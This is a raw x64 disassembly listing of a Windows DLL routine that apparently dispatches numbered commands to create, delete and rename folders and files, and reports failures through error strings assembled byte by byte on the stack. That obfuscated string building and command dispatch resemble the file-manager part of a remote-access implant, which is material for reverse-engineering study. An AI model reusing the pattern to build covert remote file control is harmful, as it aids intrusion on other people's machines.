call fcn.180007210
mov qword [rsp + 0x630], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xdd8]
call fcn.180005aa0
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x388]
mov qword [rsp + 0x398], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
lea r8, [rsp + 0x7e8]
lea rdx, [rsp + 0xdb8]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x3a0], rax
mov r8, qword [rsp + 0x398]
mov rdx, qword [rsp + 0x3a0]
lea rcx, [rsp + 0xd98]
call fcn.18000fde0
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0x3a8]
mov qword [rsp + 0x3b0], rax
mov rdx, qword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x1290]
call fcn.18000f460
nop
lea rcx, [rsp + 0xd98]
call fcn.180004b40
nop
lea rcx, [rsp + 0xdb8]
call fcn.180004b40
nop
lea rcx, [rsp + 0xdd8]
call fcn.180004b40
nop
lea rcx, [rsp + 0x7e8]
call fcn.180004b70
nop
jmp 0x18000d4ee
mov edx, 8
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x3b8], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x3b8]
mov r8, rcx
lea rdx, [rsp + 0xdf8]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x3c0], rax
mov rdx, qword [rsp + 0x3c0]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x36], al
lea rcx, [rsp + 0xdf8]
call fcn.180004b40
movzx eax, byte [rsp + 0x36]
test eax, eax
je 0x18000ca4e
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0xa8
mov qword [rsp + 0x3c8], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
mov rcx, qword [rsp + 0x3c8]
mov r8, rcx
lea rdx, [rsp + 0xe18]
mov rcx, rax
call fcn.180024570
mov qword [rsp + 0x3d0], rax
mov rcx, qword [rsp + 0x3d0]
call fcn.180007c40
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x18000c7dc
mov dword [rsp + 0x19c], 1
jmp 0x18000c7e7
mov dword [rsp + 0x19c], 0
movzx eax, byte [rsp + 0x19c]
mov byte [rsp + 0x37], al
lea rcx, [rsp + 0xe18]
call fcn.1800073e0
movzx eax, byte [rsp + 0x37]
test eax, eax
je 0x18000ca49
mov byte [rsp + 0x150], 0x43
mov byte [rsp + 0x151], 0x72
mov byte [rsp + 0x152], 0x65
mov byte [rsp + 0x153], 0x61
mov byte [rsp + 0x154], 0x74
mov byte [rsp + 0x155], 0x65
mov byte [rsp + 0x156], 0x20
mov byte [rsp + 0x157], 0x46
mov byte [rsp + 0x158], 0x6f
mov byte [rsp + 0x159], 0x6c
mov byte [rsp + 0x15a], 0x64
mov byte [rsp + 0x15b], 0x65
mov byte [rsp + 0x15c], 0x72
mov byte [rsp + 0x15d], 0x20
mov byte [rsp + 0x15e], 0x45
mov byte [rsp + 0x15f], 0x72
mov byte [rsp + 0x160], 0x72
mov byte [rsp + 0x161], 0x6f
mov byte [rsp + 0x162], 0x72
mov byte [rsp + 0x163], 0x20
mov byte [rsp + 0x164], 0x45
mov byte [rsp + 0x165], 0x72
mov byte [rsp + 0x166], 0x72
mov byte [rsp + 0x167], 0x6f
mov byte [rsp + 0x168], 0x72
mov byte [rsp + 0x169], 0x20
mov byte [rsp + 0x16a], 0x20
mov byte [rsp + 0x16b], 0x3a
mov byte [rsp + 0x16c], 0x20
mov byte [rsp + 0x16d], 0x20
lea rax, [rsp + 0x16e]
mov r8, rax
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x968]
call fcn.1800071c0
lea rcx, [rsp + 0x780]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x175]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x780]
lea rcx, [rsp + 0x868]
call fcn.180007210
mov qword [rsp + 0x638], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xe78]
call fcn.180005aa0
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0x3e8], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
lea r8, [rsp + 0x868]
lea rdx, [rsp + 0xe58]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x3f0], rax
mov r8, qword [rsp + 0x3e8]
mov rdx, qword [rsp + 0x3f0]
lea rcx, [rsp + 0xe38]
call fcn.18000fde0
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x400], rax
mov rdx, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x1290]
call fcn.18000f460
nop
lea rcx, [rsp + 0xe38]
call fcn.180004b40
nop
lea rcx, [rsp + 0xe58]
call fcn.180004b40
nop
lea rcx, [rsp + 0xe78]
call fcn.180004b40
nop
lea rcx, [rsp + 0x868]
call fcn.180004b70
nop
jmp 0x18000d4ee
mov edx, 9
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x408], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x408]
mov r8, rcx
lea rdx, [rsp + 0xe98]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x410], rax
mov rdx, qword [rsp + 0x410]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x38], al
lea rcx, [rsp + 0xe98]
call fcn.180004b40
movzx eax, byte [rsp + 0x38]
test eax, eax
je 0x18000cd75
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0xa8
mov qword [rsp + 0x418], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
mov rcx, qword [rsp + 0x418]
mov r8, rcx
lea rdx, [rsp + 0xeb8]
mov rcx, rax
call fcn.180024570
mov qword [rsp + 0x420], rax
mov rcx, qword [rsp + 0x420]
call fcn.180007c40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x18000cb43
mov dword [rsp + 0x188], 1
jmp 0x18000cb4e
mov dword [rsp + 0x188], 0
movzx eax, byte [rsp + 0x188]
mov byte [rsp + 0x39], al
lea rcx, [rsp + 0xeb8]
call fcn.1800073e0
movzx eax, byte [rsp + 0x39]
test eax, eax
je 0x18000cd70
mov byte [rsp + 0xa8], 0x44
mov byte [rsp + 0xa9], 0x65
mov byte [rsp + 0xaa], 0x6c
mov byte [rsp + 0xab], 0x65
mov byte [rsp + 0xac], 0x74
mov byte [rsp + 0xad], 0x65
mov byte [rsp + 0xae], 0x20
mov byte [rsp + 0xaf], 0x46
mov byte [rsp + 0xb0], 0x6f
mov byte [rsp + 0xb1], 0x6c
mov byte [rsp + 0xb2], 0x64
mov byte [rsp + 0xb3], 0x65
mov byte [rsp + 0xb4], 0x72
mov byte [rsp + 0xb5], 0x20
mov byte [rsp + 0xb6], 0x45
mov byte [rsp + 0xb7], 0x72
mov byte [rsp + 0xb8], 0x72
mov byte [rsp + 0xb9], 0x6f
mov byte [rsp + 0xba], 0x72
mov byte [rsp + 0xbb], 0x20
mov byte [rsp + 0xbc], 0x3a
mov byte [rsp + 0xbd], 0x20
lea rax, [rsp + 0xbe]
mov r8, rax
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x978]
call fcn.1800071c0
lea rcx, [rsp + 0x790]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x182]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x790]
lea rcx, [rsp + 0x880]
call fcn.180007210
mov qword [rsp + 0x640], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xf18]
call fcn.180005aa0
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0x438], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
lea r8, [rsp + 0x880]
lea rdx, [rsp + 0xef8]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x430], rax
mov rax, qword [rsp + 0x430]
mov qword [rsp + 0x440], rax
mov r8, qword [rsp + 0x438]
mov rdx, qword [rsp + 0x440]
lea rcx, [rsp + 0xed8]
call fcn.18000fde0
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x448]
mov qword [rsp + 0x450], rax
mov rdx, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x1290]
call fcn.18000f460
nop
lea rcx, [rsp + 0xed8]
call fcn.180004b40
nop
lea rcx, [rsp + 0xef8]
call fcn.180004b40
nop
lea rcx, [rsp + 0xf18]
call fcn.180004b40
nop
lea rcx, [rsp + 0x880]
call fcn.180004b70
nop
jmp 0x18000d4ee
mov edx, 0xa
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x458], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x458]
mov r8, rcx
lea rdx, [rsp + 0xf38]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x460], rax
mov rdx, qword [rsp + 0x460]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0xf38]
call fcn.180004b40
movzx eax, byte [rsp + 0x3a]
test eax, eax
je 0x18000d134
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0xc8
mov qword [rsp + 0x468], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
mov rcx, qword [rsp + 0x468]
mov r8, rcx
lea rdx, [rsp + 0xf78]
mov rcx, rax
call fcn.180024570
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x470]
mov qword [rsp + 0x480], rax
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0x48
mov qword [rsp + 0x478], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
mov rcx, qword [rsp + 0x478]
mov r8, rcx
lea rdx, [rsp + 0xf58]
mov rcx, rax
call fcn.180024570
mov qword [rsp + 0x488], rax
mov rcx, qword [rsp + 0x480]
call fcn.180007c40
mov qword [rsp + 0x490], rax
mov rcx, qword [rsp + 0x488]
call fcn.180007c40
mov rcx, qword [rsp + 0x490]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x18000ceec
mov dword [rsp + 0x190], 1
jmp 0x18000cef7
mov dword [rsp + 0x190], 0
movzx eax, byte [rsp + 0x190]
mov byte [rsp + 0x3b], al
lea rcx, [rsp + 0xf58]
call fcn.1800073e0
nop
lea rcx, [rsp + 0xf78]
call fcn.1800073e0
movzx eax, byte [rsp + 0x3b]
test eax, eax
je 0x18000d12f
mov byte [rsp + 0xc0], 0x52
mov byte [rsp + 0xc1], 0x65
mov byte [rsp + 0xc2], 0x6e
mov byte [rsp + 0xc3], 0x61
mov byte [rsp + 0xc4], 0x6d
mov byte [rsp + 0xc5], 0x65
mov byte [rsp + 0xc6], 0x20
mov byte [rsp + 0xc7], 0x4f
mov byte [rsp + 0xc8], 0x62
mov byte [rsp + 0xc9], 0x6a
mov byte [rsp + 0xca], 0x65
mov byte [rsp + 0xcb], 0x63
mov byte [rsp + 0xcc], 0x74
mov byte [rsp + 0xcd], 0x20
mov byte [rsp + 0xce], 0x20
mov byte [rsp + 0xcf], 0x45
mov byte [rsp + 0xd0], 0x72
mov byte [rsp + 0xd1], 0x72
mov byte [rsp + 0xd2], 0x6f
mov byte [rsp + 0xd3], 0x72
mov byte [rsp + 0xd4], 0x20
mov byte [rsp + 0xd5], 0x3a
mov byte [rsp + 0xd6], 0x20
lea rax, [rsp + 0xd7]
mov r8, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x988]
call fcn.1800071c0
lea rcx, [rsp + 0x7a0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x183]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x7a0]
lea rcx, [rsp + 0x8e0]
call fcn.180007210
mov qword [rsp + 0x648], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xfd8]
call fcn.180005aa0
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0x4a8], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
lea r8, [rsp + 0x8e0]
lea rdx, [rsp + 0xfb8]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x4a0], rax
mov rax, qword [rsp + 0x4a0]
mov qword [rsp + 0x4b0], rax
mov r8, qword [rsp + 0x4a8]
mov rdx, qword [rsp + 0x4b0]
lea rcx, [rsp + 0xf98]
call fcn.18000fde0
mov qword [rsp + 0x4b8], rax
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x4c0], rax
mov rdx, qword [rsp + 0x4c0]
mov rcx, qword [rsp + 0x1290]
call fcn.18000f460
nop
lea rcx, [rsp + 0xf98]
call fcn.180004b40
nop
lea rcx, [rsp + 0xfb8]
call fcn.180004b40
nop
lea rcx, [rsp + 0xfd8]
call fcn.180004b40
nop
lea rcx, [rsp + 0x8e0]
call fcn.180004b70
nop
jmp 0x18000d4ee
mov edx, 0xb
lea rcx, [rsp + 0x1a0]
call fcn.180013830
mov qword [rsp + 0x4c8], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
mov rcx, qword [rsp + 0x4c8]
mov r8, rcx
lea rdx, [rsp + 0xff8]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x4d0], rax
mov rdx, qword [rsp + 0x4d0]
lea rcx, [rsp + 0x1c0]
call fcn.18000fd80
mov byte [rsp + 0x3c], al
lea rcx, [rsp + 0xff8]
call fcn.180004b40
movzx eax, byte [rsp + 0x3c]
test eax, eax
je 0x18000d4ee
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0xc8
mov qword [rsp + 0x4d8], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
mov rcx, qword [rsp + 0x4d8]
mov r8, rcx
lea rdx, [rsp + 0x1038]
mov rcx, rax
call fcn.180024570
mov qword [rsp + 0x4e0], rax
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x4f0], rax
mov rcx, qword [rsp + 0x1298]
call fcn.180006390
add rax, 8
mov rcx, rax
call fcn.180003f50
add rax, 0x48
mov qword [rsp + 0x4e8], rax
lea rcx, [rsp + 0x40]
call fcn.180003f50
mov rcx, qword [rsp + 0x4e8]
mov r8, rcx
lea rdx, [rsp + 0x1018]
mov rcx, rax
call fcn.180024570
mov qword [rsp + 0x4f8], rax
mov rcx, qword [rsp + 0x4f0]
call fcn.180007c40
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x4f8]
call fcn.180007c40
mov rcx, qword [rsp + 0x500]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x18000d2ab
mov dword [rsp + 0x194], 1
jmp 0x18000d2b6
mov dword [rsp + 0x194], 0
movzx eax, byte [rsp + 0x194]
mov byte [rsp + 0x3d], al
lea rcx, [rsp + 0x1018]
call fcn.1800073e0
nop
lea rcx, [rsp + 0x1038]
call fcn.1800073e0
movzx eax, byte [rsp + 0x3d]
test eax, eax
je 0x18000d4ee
mov byte [rsp + 0xd8], 0x52
mov byte [rsp + 0xd9], 0x65
mov byte [rsp + 0xda], 0x6e
mov byte [rsp + 0xdb], 0x61
mov byte [rsp + 0xdc], 0x6d
mov byte [rsp + 0xdd], 0x65
mov byte [rsp + 0xde], 0x20
mov byte [rsp + 0xdf], 0x4f
mov byte [rsp + 0xe0], 0x62
mov byte [rsp + 0xe1], 0x6a
mov byte [rsp + 0xe2], 0x65
mov byte [rsp + 0xe3], 0x63
mov byte [rsp + 0xe4], 0x74
mov byte [rsp + 0xe5], 0x20
mov byte [rsp + 0xe6], 0x20
mov byte [rsp + 0xe7], 0x45
mov byte [rsp + 0xe8], 0x72
mov byte [rsp + 0xe9], 0x72
mov byte [rsp + 0xea], 0x6f
mov byte [rsp + 0xeb], 0x72
mov byte [rsp + 0xec], 0x20
mov byte [rsp + 0xed], 0x3a
mov byte [rsp + 0xee], 0x20
lea rax, [rsp + 0xef]
mov r8, rax
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x998]
call fcn.1800071c0
lea rcx, [rsp + 0x7b0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x184]
call fcn.180003dc0
mov r8, rax
lea rdx, [rsp + 0x7b0]
lea rcx, [rsp + 0x8a0]
call fcn.180007210
mov qword [rsp + 0x650], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x1098]
call fcn.180005aa0
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x518], rax
lea rcx, [rsp + 0x20]
call fcn.180003f50
lea r8, [rsp + 0x8a0]
lea rdx, [rsp + 0x1078]
mov rcx, rax
call fcn.18003ef30
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x520], rax
mov r8, qword [rsp + 0x518]
mov rdx, qword [rsp + 0x520]
lea rcx, [rsp + 0x1058]
call fcn.18000fde0
mov qword [rsp + 0x528], rax
mov rax, qword [rsp + 0x528]
mov qword [rsp + 0x530], rax
mov rdx, qword [rsp + 0x530]
mov rcx, qword [rsp + 0x1290]
call fcn.18000f460
nop
lea rcx, [rsp + 0x1058]
call fcn.180004b40
nop
lea rcx, [rsp + 0x1078]
call fcn.180004b40
nop
lea rcx, [rsp + 0x1098]
call fcn.180004b40
nop
lea rcx, [rsp + 0x8a0]
call fcn.180004b70
nop
lea rcx, [rsp + 0x1c0]
call fcn.180004b40
nop
lea rcx, [rsp + 0x40]
call fcn.180012d10
nop
lea rcx, [rsp + 0x20]
call fcn.180012e50
nop
lea rcx, [rsp + 0x1a0]
call fcn.180012f30
nop
jmp 0x18000d522
jmp 0x18000d524
mov rcx, qword [rsp + 0x1298]
call fcn.180007410
mov rax, qword [rsp + 0x1290]
add rsp, 0x1278
pop rdi
pop rsi
ret